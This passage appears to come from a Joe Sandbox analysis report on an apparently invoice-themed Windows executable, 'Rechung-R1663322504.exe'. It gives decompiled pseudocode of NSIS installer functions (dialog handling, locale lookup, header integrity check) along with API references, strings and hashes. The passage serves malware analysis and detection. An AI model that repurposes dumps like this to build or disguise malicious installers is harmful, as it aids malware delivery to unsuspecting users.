							EnableMenuItem(GetSystemMenu(_t128, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x38), 0xf4, _t136, 1);
							__eflags =  *0x7a8acc - _t136;
							if( *0x7a8acc == _t136) {
								_push( *0x7a1f1c);
							} else {
								SendMessageW(_t128, 0x401, 2, _t136);
								_push( *0x79fee8);
							}
							E00404229();
							E0040625F(0x7a1f20, E00403CFC());
							E00406281(0x7a1f20, _t128, _t133,  &(0x7a1f20[lstrlenW(0x7a1f20)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t128, 0x7a1f20); // executed
							_push(_t136);
							_t70 = E00401389( *((intOrPtr*)(_t133 + 8)));
							__eflags = _t70;
							if(_t70 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x7a79f8); // executed
									 *0x7a0ef8 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L58;
									}
									_t76 = CreateDialogParamW( *0x7a8a20,  *_t133 +  *0x7a7a00 & 0x0000ffff, _t128,  *(0x40a36c +  *(_t133 + 4) * 4), _t133); // executed
									__eflags = _t76 - _t136;
									 *0x7a79f8 = _t76;
									if(_t76 == _t136) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E004041F4(_t76);
									GetWindowRect(GetDlgItem(_t128, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t128, _t137 + 0x10);
									SetWindowPos( *0x7a79f8, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									_push(_t136);
									E00401389( *((intOrPtr*)(_t133 + 0xc)));
									__eflags =  *0x7a79ec - _t136; // 0x0
									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x7a79f8, 8); // executed
									E00404240(0x405);
									goto L58;
								}
								__eflags =  *0x7a8acc - _t136;
								if( *0x7a8acc != _t136) {
									goto L61;
								}
								__eflags =  *0x7a8ac0 - _t136;
								if( *0x7a8ac0 != _t136) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x7a79f8);
						 *0x7a8a28 = _t136;
						EndDialog(_t128,  *0x7a06f0);
						goto L58;
					} else {
						__eflags = _t37 - 1;
						if(_t37 != 1) {
							L33:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t89 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
						__eflags = _t89;
						if(_t89 == 0) {
							goto L33;
						}
						SendMessageW( *0x7a79f8, 0x40f, 0, 1);
						__eflags =  *0x7a79ec - _t136; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t128 = _a4;
					_t136 = 0;
					if(_t118 == 0x47) {
						SetWindowPos( *0x7a1f00, _t128, 0, 0, 0, 0, 0x13);
					}
					if(_t118 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x7a1f00,  ~(_a12 - 1) & _t118);
					}
					if(_t118 != 0x40d) {
						__eflags = _t118 - 0x11;
						if(_t118 != 0x11) {
							__eflags = _t118 - 0x111;
							if(_t118 != 0x111) {
								L26:
								return E0040425B(_t118, _a12, _a16);
							}
							_t135 = _a12 & 0x0000ffff;
							_t129 = GetDlgItem(_t128, _t135);
							__eflags = _t129 - _t136;
							if(_t129 == _t136) {
								L13:
								__eflags = _t135 - 1;
								if(_t135 != 1) {
									__eflags = _t135 - 3;
									if(_t135 != 3) {
										_t130 = 2;
										__eflags = _t135 - _t130;
										if(_t135 != _t130) {
											L25:
											SendMessageW( *0x7a79f8, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x7a8acc - _t136;
										if( *0x7a8acc == _t136) {
											_t102 = E0040140B(3);
											__eflags = _t102;
											if(_t102 != 0) {
												goto L26;
											}
											 *0x7a06f0 = 1;
											L21:
											_push(0x78);
											L22:
											E004041CD();
											goto L26;
										}
										E0040140B(_t130);
										 *0x7a06f0 = _t130;
										goto L21;
									}
									__eflags =  *0x40a368 - _t136; // 0x0
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t135);
								goto L22;
							}
							SendMessageW(_t129, 0xf3, _t136, _t136);
							_t106 = IsWindowEnabled(_t129);
							__eflags = _t106;
							if(_t106 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongW(_t128, _t136, _t136);
						return 1;
					} else {
						DestroyWindow( *0x7a79f8);
						 *0x7a79f8 = _a12;
						L58:
						if( *0x7a3f20 == _t136) {
							_t145 =  *0x7a79f8 - _t136; // 0x10424
							if(_t145 != 0) {
								ShowWindow(_t128, 0xa); // executed
								 *0x7a3f20 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}

0x00403d24
0x00403d2d
0x00403e6e
0x00403e72
0x00403e76
0x00403e78
0x00403e7d
0x00403e88
0x00403e93
0x00403e98
0x00403e9a
0x00403e9c
0x00403e9f
0x00403ea4
0x00403eb2
0x00403ebf
0x00403ec6
0x00403ec6
0x00403ec7
0x00403ec7
0x00403ecc
0x00403ed2
0x00403ed9
0x00403edf
0x00403ee1
0x00403f21
0x00403f26
0x00403f2b
0x00403f2b
0x00403f30
0x00403f39
0x00403f3b
0x00403f40
0x00403f46
0x00403f4a
0x00403f4a
0x00403f4f
0x00403f55
0x00000000
0x00000000
0x00403f60
0x00403f66
0x00000000
0x00000000
0x00403f6f
0x00403f77
0x00403f7c
0x00403f7f
0x00403f85
0x00403f8a
0x00403f8d
0x00403f93
0x00403f98
0x00403f9b
0x00403fa1
0x00403fa9
0x00403faf
0x00403fb5
0x00403fb9
0x00403fc0
0x00403fc0
0x00403fc0
0x00403fca
0x00403fdc
0x00403fe8
0x00403fed
0x00403ff7
0x00403ffd
0x00403fff
0x00404004
0x00404001
0x00404001
0x00404001
0x00404014
0x0040402c
0x0040402e
0x00404034
0x00404049
0x00404036
0x0040403f
0x00404041
0x00404041
0x0040404f
0x00404060
0x00404076
0x0040407d
0x00404083
0x00404087
0x0040408c
0x0040408e
0x00000000
0x00404094
0x00404094
0x00404096
0x00000000
0x00000000
0x0040409c
0x004040a0
0x004040c5
0x004040cb
0x004040d1
0x004040d3
0x00000000
0x00000000
0x004040f9
0x004040ff
0x00404101
0x00404106
0x00000000
0x00000000
0x0040410c
0x0040410f
0x00404112
0x00404129
0x00404135
0x0040414e
0x00404154
0x00404158
0x0040415d
0x00404163
0x00000000
0x00000000
0x0040416d
0x00404178
0x00000000
0x00404178
0x004040a2
0x004040a8
0x00000000
0x00000000
0x004040ae
0x004040b4
0x00000000
0x00000000
0x00000000
0x004040ba
0x0040408e
0x00404185
0x00404191
0x00404198
0x00000000
0x00403ee3
0x00403ee3
0x00403ee6
0x00403f19
0x00403f19
0x00403f1b
0x00000000
0x00000000
0x00000000
0x00403f1b
0x00403ee8
0x00403eec
0x00403ef1
0x00403ef3
0x00000000
0x00000000
0x00403f03
0x00403f0b
0x00000000
0x00403f11
0x00403d3f
0x00403d3f
0x00403d43
0x00403d48
0x00403d57
0x00403d57
0x00403d60
0x00403d69
0x00403d74
0x00403d74
0x00403d80
0x00403d9c
0x00403d9f
0x00403db2
0x00403db8
0x00403e5b
0x00000000
0x00403e64
0x00403dbe
0x00403dcb
0x00403dcd
0x00403dcf
0x00403dee
0x00403dee
0x00403df1
0x00403df6
0x00403df9
0x00403e09
0x00403e0a
0x00403e0c
0x00403e42
0x00403e55
0x00000000
0x00403e55
0x00403e0e
0x00403e14
0x00403e2d
0x00403e32
0x00403e34
0x00000000
0x00000000
0x00403e36
0x00403e22
0x00403e22
0x00403e24
0x00403e24
0x00000000
0x00403e24
0x00403e17
0x00403e1c
0x00000000
0x00403e1c
0x00403dfb
0x00403e01
0x00000000
0x00000000
0x00403e03
0x00000000
0x00403e03
0x00403df3
0x00000000
0x00403df3
0x00403dd9
0x00403de0
0x00403de6
0x00403de8
0x00000000
0x00000000
0x00000000
0x00403de8
0x00403da4
0x00000000
0x00403d82
0x00403d88
0x00403d92
0x0040419e
0x004041a4
0x004041a6
0x004041ac
0x004041b1
0x004041b7
0x004041b7
0x004041ac
0x004041c1
0x00000000
0x004041c1
0x00403d80

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D57
ShowWindow.USER32(?), ref: 00403D74
DestroyWindow.USER32 ref: 00403D88
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DA4
GetDlgItem.USER32(?,?), ref: 00403DC5
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403DD9
IsWindowEnabled.USER32(00000000), ref: 00403DE0
GetDlgItem.USER32(?,00000001), ref: 00403E8E
GetDlgItem.USER32(?,00000002), ref: 00403E98
SetClassLongW.USER32(?,000000F2,?), ref: 00403EB2
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F03
GetDlgItem.USER32(?,00000003), ref: 00403FA9
ShowWindow.USER32(00000000,?), ref: 00403FCA
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403FDC
EnableWindow.USER32(?,?), ref: 00403FF7
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040400D
EnableMenuItem.USER32(00000000), ref: 00404014
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040402C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040403F
lstrlenW.KERNEL32(007A1F20,?,007A1F20,00000000), ref: 00404069
SetWindowTextW.USER32(?,007A1F20), ref: 0040407D
ShowWindow.USER32(?,0000000A), ref: 004041B1

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: fc3c2fd52c5859f2fd2362f058ebeec97e14ddaa85c60b8da330eda8cc3c5bb0
Instruction ID: e7c2d8670a20ab778e0eeae1551072eac63d4844406393878d1a707f383ade6f
Opcode Fuzzy Hash: fc3c2fd52c5859f2fd2362f058ebeec97e14ddaa85c60b8da330eda8cc3c5bb0
Instruction Fuzzy Hash: B6C1CDB1504205AFDB206F61ED88E2B3A68EB96705F00853EF651B51F0CB399982DB1E

Uniqueness

Uniqueness Score: -1.00%

Function 0040396D Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0040396D(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				intOrPtr _t41;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				signed short _t73;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x7a8a34;
				_t22 = E00406639(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x7a1f20;
					L"1033" = 0x30;
					 *0x7b5002 = 0x78;
					 *0x7b5004 = 0;
					E0040612D(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x7a1f20, 0);
					__eflags =  *0x7a1f20;
					if(__eflags == 0) {
						E0040612D(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083CC, 0x7a1f20, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					_t73 =  *_t22(); // executed
					E004061A6(L"1033", _t73 & 0x0000ffff);
				}
				E00403C43(_t78, _t90);
				_t86 = L"C:\\Users\\Arthur\\Socialdirektrer";
				 *0x7a8ac0 =  *0x7a8a3c & 0x00000020;
				 *0x7a8adc = 0x10000;
				if(E00405C38(_t90, L"C:\\Users\\Arthur\\Socialdirektrer") != 0) {
					L16:
					if(E00405C38(_t98, _t86) == 0) {
						E00406281(_t76, 0, _t82, _t86,  *((intOrPtr*)(_t82 + 0x118))); // executed
					}
					_t30 = LoadImageW( *0x7a8a20, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x7a7a08 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403C43(_t78, __eflags);
							__eflags =  *0x7a8ae0;
							if( *0x7a8ae0 != 0) {
								_t33 = E00405396(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x7a79ec; // 0x0
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x7a1f00, 5); // executed
							_t39 = E004065C9("RichEd20"); // executed
							__eflags = _t39;
							if(_t39 == 0) {
								E004065C9("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x7a79c0);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x7a79c0);
								 *0x7a79e4 = _t87;
								RegisterClassW(0x7a79c0);
							}
							_t41 =  *0x7a7a00; // 0x0
							_t44 = DialogBoxParamW( *0x7a8a20, _t41 + 0x00000069 & 0x0000ffff, 0, E00403D1B, 0); // executed
							E004038BD(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x7a8a20;
						 *0x7a79c4 = E00401000;
						 *0x7a79d0 =  *0x7a8a20;
						 *0x7a79d4 = _t30;
						 *0x7a79e4 = 0x40a380;
						if(RegisterClassW(0x7a79c0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x7a1f00 = CreateWindowExW(0x80, 0x40a380, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x7a8a20, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x7a69c0;
					E0040612D(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x7a8a78 + _t78 * 2,  *0x7a8a78 +  *(_t82 + 0x4c) * 2, 0x7a69c0, 0);
					_t63 =  *0x7a69c0; // 0x43
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x7a69c2;
						 *((short*)(E00405B5D(0x7a69c2, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E0040625F(_t86, E00405B30(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405B7C(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403973
0x0040397c
0x00403983
0x00403985
0x00403999
0x004039ab
0x004039b4
0x004039bd
0x004039c4
0x004039c9
0x004039d0
0x004039e3
0x004039e3
0x004039ee
0x00403987
0x00403987
0x00403992
0x00403992
0x004039f3
0x004039fd
0x00403a06
0x00403a0b
0x00403a1c
0x00403aae
0x00403ab6
0x00403abf
0x00403abf
0x00403ad5
0x00403adb
0x00403ae9
0x00403b6a
0x00403b72
0x00403b7c
0x00403b81
0x00403b87
0x00403c11
0x00403c16
0x00403c18
0x00403c34
0x00000000
0x00403c34
0x00403c1a
0x00403c20
0x00403c28
0x00403c28
0x00000000
0x00403c20
0x00403b95
0x00403ba0
0x00403ba5
0x00403ba7
0x00403bae
0x00403bae
0x00403bb9
0x00403bc1
0x00403bc3
0x00403bc5
0x00403bce
0x00403bd1
0x00403bd7
0x00403bd7
0x00403bdd
0x00403bf6
0x00403c07
0x00000000
0x00403c0c
0x00403b74
0x00403b76
0x00000000
0x00403aeb
0x00403aeb
0x00403af7
0x00403b01
0x00403b07
0x00403b0c
0x00403b1b
0x00403c39
0x00403c39
0x00000000
0x00403c39
0x00403b2a
0x00403b65
0x00000000
0x00403b65
0x00403a22
0x00403a22
0x00403a25
0x00403a27
0x00000000
0x00000000
0x00403a35
0x00403a47
0x00403a4c
0x00403a55
0x00000000
0x00000000
0x00403a5b
0x00403a5d
0x00403a6a
0x00403a6a
0x00403a73
0x00403a79
0x00403aa1
0x00403aa9
0x00000000
0x00403a8b
0x00403a8c
0x00403a95
0x00403a9b
0x00403a9c
0x00000000
0x00403a9c
0x00403a97
0x00403a99
0x00000000
0x00000000
0x00000000
0x00403a99
0x00403a79

APIs

Part of subcall function 00406639: GetModuleHandleA.KERNEL32(?,00000020,?,004033C2,0000000A), ref: 0040664B
Part of subcall function 00406639: GetProcAddress.KERNEL32(00000000,?), ref: 00406666

GetUserDefaultUILanguage.KERNELBASE(00000002,C:\Users\user\AppData\Local\Temp\,764E3420,"C:\Users\user\Desktop\Rechung-R1663322504.exe",00000000), ref: 00403987

Part of subcall function 004061A6: wsprintfW.USER32 ref: 004061B3

lstrcatW.KERNEL32(1033,007A1F20), ref: 004039EE
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\Socialdirektrer,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403A6E
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\Socialdirektrer,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000), ref: 00403A81
GetFileAttributesW.KERNEL32(Call), ref: 00403A8C
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\Socialdirektrer), ref: 00403AD5
RegisterClassW.USER32(007A79C0), ref: 00403B12
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B2A
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B5F
ShowWindow.USER32(00000005,00000000), ref: 00403B95
GetClassInfoW.USER32(00000000,RichEdit20W,007A79C0), ref: 00403BC1
GetClassInfoW.USER32(00000000,RichEdit,007A79C0), ref: 00403BCE
RegisterClassW.USER32(007A79C0), ref: 00403BD7
DialogBoxParamW.USER32(?,00000000,00403D1B,00000000), ref: 00403BF6

Strings

RichEdit20W, xrefs: 00403BB9, 00403BBF
RichEd20, xrefs: 00403B9B
C:\Users\user\Socialdirektrer, xrefs: 004039FD, 00403A05, 00403AA8, 00403AAE, 00403ABE
Control Panel\Desktop\ResourceLocale, xrefs: 004039A1
RichEdit, xrefs: 00403BC8
.exe, xrefs: 00403A7B
"C:\Users\user\Desktop\Rechung-R1663322504.exe", xrefs: 00403971
.DEFAULT\Control Panel\International, xrefs: 004039D9
_Nb, xrefs: 00403AF1, 00403B59
C:\Users\user\AppData\Local\Temp\, xrefs: 00403979
Call, xrefs: 00403A35, 00403A3E, 00403A4C, 00403A9B, 00403AA1
1033, xrefs: 0040398D, 004039E9
RichEd32, xrefs: 00403BA9

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Rechung-R1663322504.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Socialdirektrer$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-539891895
Opcode ID: 90026218f8455635aced1ea3c9adb74d2a6e6c4d32214fa6dc51bb2c99e1baf3
Instruction ID: 0f1e86156467dc572bfe90fa2eb59b903a3bd9170c228be251d5c9c569d222eb
Opcode Fuzzy Hash: 90026218f8455635aced1ea3c9adb74d2a6e6c4d32214fa6dc51bb2c99e1baf3
Instruction Fuzzy Hash: 9861C371200604AED720AF669D45F2B3A6CEBC5B49F00853FF941B62E2DB7C69118A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402EC1 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E00402EC1(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = L"C:\\Users\\Arthur\\Desktop\\Rechung-R1663322504.exe";
				 *0x7a8a30 = _t43 + 0x3e8;
				GetModuleFileNameW(0, L"C:\\Users\\Arthur\\Desktop\\Rechung-R1663322504.exe", 0x400);
				_t89 = E00405D51(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x40a018 = _t89;
				if(_t89 == 0xffffffff) {
					return L"Error launching installer";
				}
				_t92 = L"C:\\Users\\Arthur\\Desktop";
				E0040625F(L"C:\\Users\\Arthur\\Desktop", _t91);
				E0040625F(0x7b7000, E00405B7C(_t92));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x7976dc = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402E5D(1);
					__eflags =  *0x7a8a38 - _t82;
					if( *0x7a8a38 == _t82) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						E00403308( *0x7a8a38 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E004030FA(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x7a8a34 = _t94;
							 *0x7a8a3c =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x7a8a40 =  *0x7a8a40 + 1;
								__eflags =  *0x7a8a40;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405D0C(0x7a8a60, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E00403308( *0x78b6d4);
					_t65 = E004032F2( &_a4, 4);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x7a8a38) & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E004032F2(0x7976e0, _t90);
						__eflags = _t71;
						if(_t71 == 0) {
							E00402E5D(1);
							L29:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x7a8a38;
						if( *0x7a8a38 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402E5D(0);
							}
							goto L20;
						}
						E00405D0C( &_v44, 0x7976e0, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x78b6d4; // 0x63774
						 *0x7a8ae0 =  *0x7a8ae0 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x7a8a38 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t24 = _t80 - 4; // 0x40a2dc
							_t93 = _t24;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x7976dc; // 0x65a18
						if(__eflags < 0) {
							_v12 = E0040672C(_v12, 0x7976e0, _t90);
						}
						 *0x78b6d4 =  *0x78b6d4 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 > 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00402ec9
0x00402ecc
0x00402ecf
0x00402ed2
0x00402ed8
0x00402ee9
0x00402eee
0x00402f01
0x00402f06
0x00402f09
0x00402f0f
0x00000000
0x00402f11
0x00402f1c
0x00402f22
0x00402f33
0x00402f3a
0x00402f40
0x00402f42
0x00402f47
0x00402f49
0x00403036
0x00403038
0x0040303d
0x00403044
0x00000000
0x00000000
0x00403046
0x00403049
0x0040306d
0x00403072
0x00403078
0x00403083
0x00403088
0x0040308b
0x0040308c
0x0040308d
0x0040308f
0x00403094
0x00403097
0x004030aa
0x004030ae
0x004030b6
0x004030bb
0x004030bd
0x004030bd
0x004030bd
0x004030c5
0x004030c5
0x004030c8
0x004030c9
0x004030c9
0x004030cc
0x004030ce
0x004030ce
0x004030ce
0x004030d8
0x004030de
0x004030ec
0x004030f1
0x00000000
0x004030f1
0x00000000
0x00403097
0x00403051
0x0040305c
0x00403061
0x00403063
0x00000000
0x00000000
0x00403068
0x0040306b
0x00000000
0x00000000
0x00000000
0x00402f4f
0x00402f54
0x00402f59
0x00402f5d
0x00402f64
0x00402f69
0x00402f6b
0x00402f6d
0x00402f6d
0x00402f71
0x00402f76
0x00402f78
0x004030a2
0x00403099
0x00000000
0x00403099
0x00402f7e
0x00402f85
0x00403001
0x00403005
0x00403009
0x0040300e
0x00000000
0x00403005
0x00402f8e
